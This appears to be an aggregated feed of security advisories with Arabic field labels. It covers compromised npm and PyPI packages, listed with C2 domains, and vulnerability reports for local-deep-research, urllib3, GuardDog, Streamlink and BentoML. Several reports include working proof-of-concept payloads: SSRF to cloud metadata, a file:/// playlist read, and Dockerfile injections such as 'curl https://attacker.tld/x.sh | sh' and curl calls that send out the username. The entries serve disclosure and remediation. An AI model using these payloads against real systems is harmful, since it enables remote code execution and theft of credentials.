الوصف الكامل
--- _-= Per source details. Do not edit below this line.=-_ ## Source: google-open-source-security (5e1924464368f0c5816ee84e000cc47017f44045140feafbbc9e685d847ed5a5) This package was compromised as part of the "Mini Shai-Hulud is back" worm by the TeamPCP threat actor. The package will steal credentials and then propogate it to every package it has access to. The package also attempts to remain persistent.
الإصدارات المتأثرة
2.4.6
🚨 مؤشرات الاختراق (IOCs)
Domains: git-tanstack.com, filev2.getsession.org, api.masscan.cloud, seed1.getsession.org
المراجع
https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem
https://socket.dev/blog/tanstack-npm-packages-compromised-mini-shai-hulud-supply-chain-attack
https://tanstack.com/blog/npm-supply-chain-compromise-postmortem
https://snyk.io/blog/tanstack-npm-packages-compromised/
الوصف الكامل
--- _-= Per source details. Do not edit below this line.=-_ ## Source: google-open-source-security (5e1924464368f0c5816ee84e000cc47017f44045140feafbbc9e685d847ed5a5) This package was compromised as part of the "Mini Shai-Hulud is back" worm by the TeamPCP threat actor. The package will steal credentials and then propogate it to every package it has access to. The package also attempts to remain persistent.
الإصدارات المتأثرة
All versions < 0.10.1
🚨 مؤشرات الاختراق (IOCs)
Domains: git-tanstack.com, filev2.getsession.org, api.masscan.cloud, seed1.getsession.org
المراجع
https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem
https://socket.dev/blog/tanstack-npm-packages-compromised-mini-shai-hulud-supply-chain-attack
https://tanstack.com/blog/npm-supply-chain-compromise-postmortem
https://snyk.io/blog/tanstack-npm-packages-compromised/
الوصف الكامل
## Summary `PDFService._markdown_to_html()` constructs an HTML document by interpolating user-controlled values — specifically `title` (sourced from `research.title` or `research.query`) and `metadata` key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in `ssrf_validator.py`. --- ## Details **Vulnerable code:** `src/local_deep_research/web/services/pdf_service.py`, lines 171–176 ```python # pdf_service.py:171-176 if title: html_parts.append(f"<title>{title}</title>") # ← title is not escaped if metadata: for key, value in metadata.items(): html_parts.append(f'<meta name="{key}" content="{value}">') # ← key/value are not escaped ``` **Data flow trace:** ``` User input: research.query │ ▼ research_routes.py:1321 pdf_title = research.title or research.query │ ▼ research_routes.py:1325-1326 export_report_to_memory(report_content, format, title=pdf_title) │ ▼ pdf_service.py:107 PDFService.markdown_to_pdf(markdown_content, title=pdf_title) │ ▼ pdf_service.py:137 _markdown_to_html(markdown_content, title, metadata) │ ▼ pdf_service.py:172 f"<title>{title}</title>" ← injection point, no escaping │ ▼ pdf_service.py:112 HTML(string=html_content) ← WeasyPrint renders the injected HTML ``` `research.query` is a string submitted by the user via `POST /api/start_research`, stored as-is in the database, and retrieved without any sanitization. When the user triggers `POST /api/v1/research/<research_id>/export/pdf`, this value is embedded unescaped into the HTML document processed by WeasyPrint. **Injection point 1: `<title>` tag breakout** ``` Input: </title><img src="http://169.254.169.254/latest/meta-data/" /> Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title> ``` When WeasyPrint encounters the injected `<img>` tag, it issues an HTTP GET request to the value of `src` by default. **Injection point 2: `<meta>` attribute breakout** ``` Input: " /><link rel="stylesheet" href="http://attacker.com/evil.css Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css"> ``` WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF. --- ## Proof of Concept **Step 1: Log in and submit a research query containing the injection payload** ```http POST /api/start_research HTTP/1.1 Host: localhost:5000 Content-Type: application/json Cookie: session=<valid_session> { "query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>", "mode": "quick", "model_provider": "OLLAMA", "model": "llama3" } ``` The response returns a `research_id`, e.g. `"aaaa-bbbb-cccc-dddd"`. **Step 2: After the research completes, trigger PDF export** ```http POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1 Host: localhost:5000 Cookie: session=<valid_session> X-CSRFToken: <csrf_token> ``` **Step 3: Intermediate HTML constructed server-side** ```html <!DOCTYPE html><html><head> <meta charset="utf-8"> <title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title> </head><body> ...report content... </body></html> ``` **Step 4: WeasyPrint issues an outbound HTTP request to the injected URL** Observed in network monitoring (e.g. `tcpdump`) or the target internal service logs: ``` GET /latest/meta-data/iam/security-credentials/ HTTP/1.1 Host: 169.254.169.254 User-Agent: WeasyPrint/... ``` **Lightweight verification (no SSRF environment required):** Set the query to: ``` </title><title>INJECTED ``` The resulting HTML will contain two `<title>` tags and the PDF document metadata title will read `INJECTED`, confirming successful injection. --- ## Impact ### 1. Chained SSRF (High Severity) By injecting `<img src>`, `<link href>`, or `<style>@import url()` tags pointing to internal addresses, WeasyPrint will issue HTTP requests on behalf of the server during PDF generation. This allows access to: - **Cloud metadata services** (`169.254.169.254`) on AWS, GCP, or Azure — enabling theft of IAM credentials and instance identity documents. - **Internal network services** (`192.168.x.x`, `10.x.x.x`) — enabling reconnaissance and interaction with internal APIs not exposed to the internet. - **Localhost administrative interfaces** — if SSRF protections are only applied at the user-input validation layer. This is an effective bypass of the application's existing SSRF defenses in `ssrf_validator.py`, because WeasyPrint's outbound resource requests are never routed through that validator. ### 2. HTML Document Structure Corruption Injected tags can prematurely close `<head>` and insert arbitrary content into `<body>`, causing WeasyPrint to render incorrectly or crash, resulting in a Denial of Service (DoS) condition for the export functionality. ### 3. CSS Injection (Medium Severity) By injecting `<link>` or `<style>` tags that load external stylesheets, an attacker can fully control the visual content of the generated PDF, enabling report content forgery or spoofing. ### 4. Affected Scope - All PDF export operations are affected. - The vulnerability is reachable by any authenticated user — no elevated privileges required. - Because each user operates against their own encrypted database, cross-user exploitation is not possible. However, on any shared or multi-tenant deployment, every authenticated user can independently trigger this vulnerability. --- ## Remediation Apply `html.escape()` to all user-controlled values before embedding them in the HTML template inside `_markdown_to_html`: ```python import html if title: html_parts.append(f"<title>{html.escape(title)}</title>") if metadata: for key, value in metadata.items(): html_parts.append( f'<meta name="{html.escape(str(key))}" content="{html.escape(str(value))}">' ) ``` Additionally, consider configuring WeasyPrint with a custom `url_fetcher` that blocks or restricts outbound HTTP requests to prevent SSRF via injected or legitimately-embedded external resources: ```python def safe_url_fetcher(url, timeout=10): from ssrf_validator import validate_url if not validate_url(url): raise ValueError(f"Blocked unsafe URL in PDF rendering: {url}") return weasyprint.default_url_fetcher(url, timeout=timeout) html_doc = HTML(string=html_content, url_fetcher=safe_url_fetcher) ``` --- *Report generated against commit `f3540fb3` — local-deep-research, branch `main`.* --- ## Maintainer note (2026-04-24) Thanks @Firebasky for the detailed report. The complete remediation spans two PRs, both merged to `main`: **#3082** (merged 2026-03-29, shipped in **v1.5.0+**) — closes the HTML-injection sinks: - `html.escape()` now wraps the `title` value in `<title>…</title>` - Same for metadata keys/values in `<meta name="…" content="…">` - Regression tests added in `tests/web/services/test_pdf_service.py` **#3613** (merged 2026-04-24, shipped in **v1.6.0**) — implements the `url_fetcher` recommendation from the Remediation section: - New `_safe_url_fetcher` in `pdf_service.py` delegates to `weasyprint.default_url_fetcher` only after `security.ssrf_validator.validate_url` accepts the URL - Blocks AWS metadata (169.254.169.254), RFC1918, loopback, and non-http(s) schemes - Covers the chained SSRF path through any URL reaching the rendered HTML — markdown body, citations, raw-HTML passthrough via Python-Markdown - Blocked URLs raise `UnsafePDFResourceURLError` (a `ValueError` subclass) so WeasyPrint skips the resource and the render continues - 8 regression tests, including an end-to-end render with `<img src="http://169.254.169.254/…">` embedded in the body **Advisory metadata:** CVSS `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N` (5.0 Moderate), CWEs **CWE-79** + **CWE-918**. **Patched in v1.6.0** — upgrade to v1.6.0 or later to receive both fixes.
الإصدارات المتأثرة
All versions < 0.1.0, 0.1.1, 0.1.12, 0.1.13, 0.1.14
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
المراجع
https://github.com/LearningCircuit/local-deep-research/pull/3082
https://github.com/LearningCircuit/local-deep-research/pull/3613
https://github.com/LearningCircuit/local-deep-research/commit/0148fa265a3da460c07def7441f9ac49ea61fbcb
https://github.com/LearningCircuit/local-deep-research/commit/15f13d5c79847f1c38c2dc67bd0027c38af9e34b
https://github.com/LearningCircuit/local-deep-research
الوصف الكامل
--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (d545ff7c3c178485cfb49d0028c4c808e67d0ee0fddcb4b7b195c943bb07d888) The package pretends to be a fork of a legitimate Rust library and uses the identity of the original authors. During usage, the obfuscated code targets information held by Kanji/Iru security tools and exfiltrates basic informations to typosquated domain. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-05-apkeep Reasons (based on the campaign): - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. - obfuscation - impersonation - action-hidden-in-lib-usage
الإصدارات المتأثرة
All versions < 0.1.0, 1.0.1
🚨 مؤشرات الاختراق (IOCs)
Domains: pureapk.co, api.pureapk.co
الوصف الكامل
--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (13911c4c1e0334b4e4d972e3b3256a08f8991d3935d74086c252ed085d3984a0) The package hides code to download and execute a next-stage payload, which then communicates with C2 and listens for next code parts. In the analyzed version, the malicious code was not triggered. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2025-11-spellcheckers Reasons (based on the campaign): - obfuscation - Downloads and executes a remote malicious script. - The package contains code to execute remote commands (probably limited to a specific set) on the victim's machine.
الإصدارات المتأثرة
1.0.0
🚨 مؤشرات الاختراق (IOCs)
Domains: dothebest.store, searchbox.info, updatenet.work
C2 URLs: https://dothebest.store/allow/inform.php, https://dothebest.store/refresh.php, https://searchbox.info/prefer.php, https://updatenet.work/settings/history.php, https://dothebest.store/allow, https://dothebest.store/k/bag.php
الوصف الكامل
--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (1109b5dc74c94551027044e54e20f9c1c18f89d53da6af87861ba4773eae1966) The package contains code to install remotely stored malware and ensure its persistence. The code is not triggered automatically; it requires a separate trigger. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2025-07-cas-base Reasons (based on the campaign): - Downloads and executes a remote executable. - malware - persistence
الإصدارات المتأثرة
1.0.0
🚨 مؤشرات الاختراق (IOCs)
Domains: pub-b63e77578ffe42519de7d1771935f8b0.r2.dev
C2 URLs: https://pub-b63e77578ffe42519de7d1771935f8b0.r2.dev/Kaylew.zip, https://pub-b63e77578ffe42519de7d1771935f8b0.r2.dev/Ddrat.zip, https://pub-b63e77578ffe42519de7d1771935f8b0.r2.dev/Edge.zip
المراجع
https://www.virustotal.com/gui/file/20377b8ee72f1371ed41228f47d4bce20b1b3c89b8465626fb78bc3f18ea935e/detection
https://www.virustotal.com/gui/file/0338390d7b545f2695622df543b67b9a87131416b71dfb368a874a335a55238f/detection
https://github.com/kamakshyatest4/python-malware/blob/45f86d614fd5c8c01d844a458d56c292c7c060c2/requirements.txt#L1
https://tria.ge/250712-jwamlsyxat
https://www.virustotal.com/gui/file/cd4e27e9d32c1ef71a49c3c7695be591cb3400763b22471347c4af1db366685e
https://www.virustotal.com/gui/file/40b64916c5a38fde2b9939c674a2eaefd39df6216014e35a86b596746d34e2e9
https://bad-packages.kam193.eu/pypi/package/xxx-bale
الوصف الكامل
### Impact The built-in `FileSystemLoader` and `CachingFileSystemLoader` do not guard against reading files outside their search paths when given an absolute path to resolve. This allows malicious template authors to load and render arbitrary files via the `{% include %}` and `{% render %}` tags. Targeted files would need to contain valid Liquid markup and be readable by the application process. ### Patches The issue is fixed in version 2.2.0 with the inclusion of a `template_path.is_absolute()` condition in `liquid/builtin/loaders/file_system_loader.py`. ```python if os.path.pardir in template_path.parts or template_path.is_absolute(): raise TemplateNotFoundError(template_name) ``` ### Workarounds Create a custom template loader by inheriting from `FileSystemLoader` and overriding `resolve_path()`. Use an instance of the custom loader as the `loader` argument when instantiating your Liquid environment. ```python import os from pathlib import Path from liquid import Environment from liquid import FileSystemLoader from liquid.exceptions import TemplateNotFoundError class MyFileSystemLoader(FileSystemLoader): def resolve_path(self, template_name: str) -> Path: template_path = Path(template_name) if self.ext and not template_path.suffix: template_path = template_path.with_suffix(self.ext) if os.path.pardir in template_path.parts or template_path.is_absolute(): raise TemplateNotFoundError(template_name) for path in self.search_path: source_path = path.joinpath(template_path) if not source_path.exists(): continue return source_path raise TemplateNotFoundError(template_name) env = Environment(loader=MyFileSystemLoader("path/to/templates/")) ```
الإصدارات المتأثرة
All versions < 0.10.0, 0.10.1, 0.11.0, 0.5.1, 0.5.2
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
الوصف الكامل
### Impact urllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. urllib3 can perform decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API since version 2.6.0, the library decompresses only the necessary bytes, enabling partial content consumption. However, urllib3 before version 2.7.0 could still decompress the whole response instead of the requested portion in two cases: 1. During the second `HTTPResponse.read(amt=N)` call when the response was decompressed using the official [Brotli](https://pypi.org/project/brotli/) library. 2. When `HTTPResponse.drain_conn()` was called after the response had been read and decompressed partially (compression algorithm did not matter here). These issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side. ### Affected usages Applications and libraries using urllib3 versions earlier than 2.7.0 may be affected when streaming compressed responses from untrusted sources in either of these cases, unless decompression is explicitly disabled: 1. A response encoded with `br` is read incrementally with at least two `HTTPResponse.read(amt=N)` or `HTTPResponse.stream(amt=N)` calls while using the official [Brotli](https://pypi.org/project/brotli/) library. 2. `HTTPResponse.drain_conn()` is called after response decompression has already started. ### Remediation Upgrade to at least urllib3 version 2.7.0 in which the library: 1. Is more efficient for reads with Brotli. 2. Always skips decompression for `HTTPResponse.drain_conn()`. If upgrading is not immediately possible, the following workarounds may reduce exposure in specific cases: 1. For the Brotli-specific issue only, switch from [brotli](https://pypi.org/project/brotli/) to [brotlicffi](https://pypi.org/project/brotlicffi/) until you can upgrade urllib3; the official Brotli package is affected because of https://github.com/google/brotli/issues/1396. 2. If your code explicitly calls `HTTPResponse.drain_conn()`, call `HTTPResponse.close()` instead when connection reuse is not important. ### Credits The Brotli-specific issue was reported by @kimkou2024. `HTTPResponse.drain_conn()` inefficiency was reported by @Cycloctane.
الإصدارات المتأثرة
2.6.0, 2.6.1, 2.6.2, 2.6.3
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
الوصف الكامل
### Impact When following cross-origin redirects for requests made using urllib3’s high-level APIs, such as `urllib3.request()`, `PoolManager.request()`, and `ProxyManager.request()`, sensitive headers — `Authorization`, `Cookie`, and `Proxy-Authorization` (defined in `Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT`) — are stripped by default, as expected. However, cross-origin redirects followed from the low-level API via `ProxyManager.connection_from_url().urlopen(..., assert_same_host=False)` still forward these sensitive headers. ### Affected usage Applications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through `HTTPConnection.urlopen()` instances created via `ProxyManager.connection_from_url()`. ### Remediation Upgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by `HTTPConnection`. If upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to `ProxyManager.request()`.
الإصدارات المتأثرة
1.23, 1.24, 1.24.1, 1.24.2, 1.24.3
CVSS Vector
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
الوصف الكامل
# Summary The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the `GH_TOKEN` used by GuardDog. # Description `ProjectScanner.scan_remote()` takes a `url`, `branch`, and `requirements_name`, then constructs a raw GitHub URL by calling: ```python githubusercontent_url = url.replace("github", "raw.githubusercontent") req_url = f"{githubusercontent_url}/{branch}/{requirements_name}" resp = requests.get(url=req_url, auth=token) ``` Because this logic does not parse or validate the hostname, a crafted URL such as: ```text http://github@127.0.0.1:18081/owner/repo ``` is transformed into: ```text http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt ``` Requests interprets this as an HTTP request to `127.0.0.1:18081`, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth. # Reproduction summary 1. Start an HTTP listener on `127.0.0.1:18081` that logs the request path and `Authorization` header. 2. Set `GIT_USERNAME=alice` and `GH_TOKEN=supersecret`. 3. Call `PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt")`. 4. Observe a request to `/owner/repo/main/requirements.txt` with `Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=`. # Key code paths - `guarddog/scanners/scanner.py:361-365` # Practical impact This can expose repository-scanning infrastructure to: - theft of the GitHub PAT configured in `GH_TOKEN` - SSRF to internal or localhost services reachable by the scanner - attacker-controlled dependency file content returned by the malicious endpoint # Prior public disclosure check As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug. # Suggested fix Parse the input URL, require `hostname == "github.com"`, validate the path shape (`owner/repo`), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.
الإصدارات المتأثرة
1.0.0, 1.0.1, 1.0.2, 1.1.0, 1.1.1
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
الوصف الكامل
# Summary GuardDog includes attacker-controlled filenames, file locations, messages, and code snippets in its default human-readable output without escaping terminal control characters. A malicious package can therefore inject ANSI or OSC escape sequences into analyst terminals or CI logs. # Description The finding formatter stores file paths and snippets from scanned content: ```python location = file_path + ":" + str(start_line) finding = { "location": location, "code": code, "message": result["extra"]["message"], } ``` The human-readable reporter later prints these values directly: ```python " * " + finding["message"] + " at " + finding["location"] + "\n " + _format_code_line_for_output(finding["code"]) ``` No escaping is applied for control characters such as `\x1b`. A malicious package can therefore ship a filename like: ```text evil\x1b[2J.py ``` or matched source lines containing terminal escapes, which survive into the final CLI output. # Reproduction summary 1. Create a file whose name contains `\x1b[2J`. 2. Feed a semgrep-style result referencing that file into `Analyzer._format_semgrep_response()`. 3. Render the result with `HumanReadableReporter.print_scan_results()`. 4. The output string contains the raw escape bytes, which a terminal may interpret. # Key code paths - `guarddog/analyzer/analyzer.py:377-392` - `guarddog/reporters/human_readable.py:36-42` - `guarddog/reporters/human_readable.py:84-91` # Practical impact This can be used to: - clear or rewrite analyst terminal output - inject misleading or spoofed log content in CI - emit clickable OSC 8 hyperlinks or title changes in compatible terminals # Prior public disclosure check As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug. # Suggested fix Escape or strip terminal control characters before rendering any attacker-controlled value in human-readable output. This should cover package names, file paths, messages, and code snippets.
الإصدارات المتأثرة
2.6.0, 2.7.0, 2.7.1, 2.8.4, 2.9.0
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
الوصف الكامل
## Summary Streamlink's HLS and DASH parsers do not validate the URI scheme of segment entries and other resources. A remote `.m3u8` HLS playlist or `.mpd` DASH manifest can list `file:///path/to/file` as a segment, and streamlink will read that local file and write its contents to the output stream. Confirmed on streamlink 8.3.0 (latest release at time of report). ## Description Segment URIs from an HLS playlist or DASH manifest are passed to the worker without any scheme check. The underlying HTTP session accepts `file://` URIs, which resolve against the local filesystem. There is no scheme allowlist at the parser level, so any path readable by the streamlink process is treated as a valid segment. The attacker does not need local access to the victim. A playlist/manifest hosted on an attacker-controlled server, fetched by streamlink on the victim's machine, is enough to trigger the read. ## Impact A remote attacker hosting a malicious playlist/manifest can make any client running streamlink against that URL read arbitrary local files within the streamlink process's read scope and write them into the output file. Reachable files depend on the user running streamlink. Typical targets: `~/.ssh/id_*` private keys, `~/.aws/credentials`, shell history, application config files holding API tokens, and world-readable system files like `/etc/passwd`. ### Affected scenarios - Server-side or automated deployments (recording bots, media pipelines, CI jobs processing playlists). The output file is often uploaded, logged, or otherwise exposed, which gives direct disclosure to attacker-reachable locations. - Interactive desktop use. File contents land on the victim's disk and can leak through secondary channels: the user sharing the recording, cloud sync, backup, etc. This bug does not on its own send file contents back to the attacker. The disclosure goes to the output sink. Full exfiltration depends on what happens to that file afterward. ## Steps to reproduce Tested on streamlink 8.3.0, Linux (Kali). 1. Save as `playlist.m3u8`: ```m3u #EXTM3U #EXT-X-VERSION:3 #EXT-X-TARGETDURATION:5 #EXT-X-PLAYLIST-TYPE:VOD #EXTINF:5.0, file:///etc/passwd #EXT-X-ENDLIST ``` 2. Host the playlist on a remote server reachable by the victim. For testing, a VPS, a tunnel (cloudflared, ngrok), or a static host like GitHub Pages all work. 3. On the victim machine: ```sh streamlink "hls://https://attacker-host.example/playlist.m3u8" best -o /tmp/proof.ts ``` 3. Inspect the output: ```sh cat /tmp/proof.ts ``` 4. The output contains the contents of `/etc/passwd` from the machine running streamlink. ### Local reproduction (equivalent, simpler to set up): ```sh python3 -m http.server 8080 # in directory containing playlist.m3u8 streamlink "hls://http://127.0.0.1:8080/playlist.m3u8" best -o /tmp/proof.ts cat /tmp/proof.ts ``` The remote case was confirmed independently using a tunnel. ## Proposed remediation Allowlist http and https for segment URIs in the HLS parser. Reject any other scheme (file, ftp, data, etc.) at parse time, before the URI reaches the fetcher. The check needs to cover: - Segment URIs in the top-level manifest. - Segment URIs in nested manifests pulled during playback (variant playlists referenced from a master playlist). - Other URI fields the fetcher consumes — `#EXT-X-KEY` and `#EXT-X-MAP` URIs at minimum. Worth auditing the rest for the same issue. The check belongs in the parser, not the fetcher. Putting it next to the untrusted input means downstream callers don't each need to re-implement it, and any future fetcher path inherits the protection by default.
الإصدارات المتأثرة
All versions < 0.0.1, 0.0.2, 0.1.0, 0.10.0, 0.11.0
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
الوصف الكامل
# BentoML `envs[*].name` Dockerfile command injection — sibling of CVE-2026-33744 / CVE-2026-35043 A malicious `bentofile.yaml` containing a newline-injected value in `envs[*].name` produces unquoted `RUN` directives in the BentoML-generated Dockerfile. When the victim runs `bentoml containerize` on the imported bento, those `RUN` directives execute on the host during `docker build`. Verified end-to-end on `bentoml==1.4.38`. ## Vulnerable code `src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:71-73`: ```jinja {% for env in __bento_envs__ %} {% set stage = env.stage | default("all") -%} {% if stage != "runtime" -%} ARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %} ENV {{ env.name }}=${{ env.name }} {% endif -%} {% endfor %} ``` `env.value` is bash-quoted via the `bash_quote` filter, but **`env.name` is interpolated raw** with no escaping or newline filtering. The template is rendered by `_bentoml_impl/docker.generate_dockerfile` (the v2 SDK Docker generation path used by `bentoml containerize` for modern services). ## Sibling relationship to existing CVEs The earlier patches addressed the same Dockerfile-command-injection class for a different bentofile field: - **CVE-2026-33744 / GHSA-jfjg-vc52-wqvf** (2026-03-25): added `bash_quote` to `system_packages` interpolation in Dockerfile templates and `images.py`. - **CVE-2026-35043 / GHSA-fgv4-6jr3-jgfw** (2026-04-02): added `shlex.quote` to `system_packages` in the cloud deployment path (`_internal/cloud/deployment.py:1648`). Both patches limit themselves to `system_packages`. The `envs[*].name` field is the same root-cause class (`bentofile.yaml` value flowing unquoted into a Dockerfile interpretation context) but was never included in the fix scope. ## Reproduction ```bash pip install bentoml==1.4.38 python verify_render.py ``` Expected: ``` [*] rendered Dockerfile size: 1789 bytes [*] injected RUN lines: 3 RUN curl -fsSL http://attacker.example.com/$(whoami)=1 RUN curl -fsSL http://attacker.example.com/$(whoami)=$FOO RUN curl -fsSL http://attacker.example.com/$(whoami) ``` Each injected `RUN` line is a Dockerfile command that runs during `docker build`. With `$(whoami)` shell-substituted by Docker's RUN executor, the example payload exfiltrates the build host's username. ## Threat model 1. Attacker authors a malicious bento with a crafted `bentofile.yaml`. 2. Attacker exports the bento (`.bento` or `.tar.gz`) and distributes (S3, HTTP, BentoCloud share, etc.). 3. Victim imports with `bentoml import bento.tar`; no validation of `envs` content. 4. Victim runs `bentoml containerize` to build the container image. 5. BentoML renders the Dockerfile with the attacker's `envs` values, producing injected `RUN` lines. 6. `docker build` (or BuildKit) executes the injected `RUN` commands on the build host, achieving RCE in the victim's build environment. The flow mirrors CVE-2026-33744 exactly, with `envs` substituted for `system_packages`. ## Suggested fix In `base_v2.j2` lines 71-73, apply the `bash_quote` filter to `env.name` (and to the `=$VAR` reference in the `ENV` line, since the variable name itself is reused there): ```jinja ARG {{ env.name | bash_quote }}{% if env.value %}={{ env.value | bash_quote }}{% endif %} ENV {{ env.name | bash_quote }}=${{ env.name | bash_quote }} ``` Better, since `env.name` is semantically a Dockerfile identifier, validate at the schema level: in `bentoml/_internal/bento/build_config.py:BentoEnvSchema`, add an `attr.validators.matches_re(r"^[A-Za-z_][A-Za-z0-9_]*$")` to the `name` field so newline / shell-metacharacter values are rejected at config load. ## Affected versions - bentoml 1.4.38 (verified end-to-end) - Likely all 1.x versions where `_bentoml_impl/docker.py` exists; the v2 SDK code path was added before the CVE-2026-33744 / CVE-2026-35043 patches and was not retroactively swept for siblings. ## Disclosure Requesting CVE assignment and GHSA publication. Available for additional repro under different distros / frontends, or for a PR with the suggested fix, on request. ## PoC artifacts Gated HF repo (request access): https://huggingface.co/mrw0r57/bentoml-envs-cmdinjection-poc
الإصدارات المتأثرة
All versions < 0.0.1, 0.0.2, 0.0.3, 0.0.5, 0.0.6a0
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
الوصف الكامل
The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host. ## Vulnerable code `src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28): ```jinja FROM {{ __options__base_image }} AS base-container ``` `__options__base_image` resolves to `DockerOptions.base_image` (`src/bentoml/_internal/bento/build_config.py:176`): ```python base_image: t.Optional[str] = None ``` No `validator`, no `converter`, no newline check. The value is loaded straight from `bento.yaml` in `src/bentoml/_internal/container/__init__.py:206` via `DockerOptions(**docker_attrs)` and rendered as-is. ## PoC Malicious `bentofile.yaml`: ```yaml docker: base_image: | python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch ``` Minimal reproduction of the unsafe interpolation: ```python from jinja2 import Environment env = Environment() malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch' out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious) print(out) ``` Output: ``` FROM python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch AS base-container ``` Three valid Dockerfile directives instead of one. The `RUN curl` executes during `docker build`. The trailing `FROM scratch AS base-container` provides the named build stage the rest of the template depends on, so the build proceeds without error. ## Impact Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during `bentoml containerize` of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects `docker.base_image` to be a Docker image reference, not a Dockerfile fragment. ## Suggested fix Validate `DockerOptions.base_image` at the config layer: reject any value containing newline characters (`\n`, `\r`) or whitespace beyond a single space-separated tag. A regex like `^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$` covers the practical Docker reference format. The same hardening should be extended to other unvalidated fields interpolated raw in `base_v2.j2`: * `__options__build_include[*]` at line 97 (`COPY ... ./src/{{ name }} ./src/{{ name }}`) — same newline-injection class for path entries from `Image.build_include(*file_paths)`. * `bento__user`, `bento__uid_gid`, `bento__path`, `bento__home`, `bento__entrypoint` — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through `override_bento_env`. ## References * Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043. * CWE-78: https://cwe.mitre.org/data/definitions/78.html
الإصدارات المتأثرة
All versions < 0.0.1, 0.0.2, 0.0.3, 0.0.5, 0.0.6a0
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
الوصف الكامل
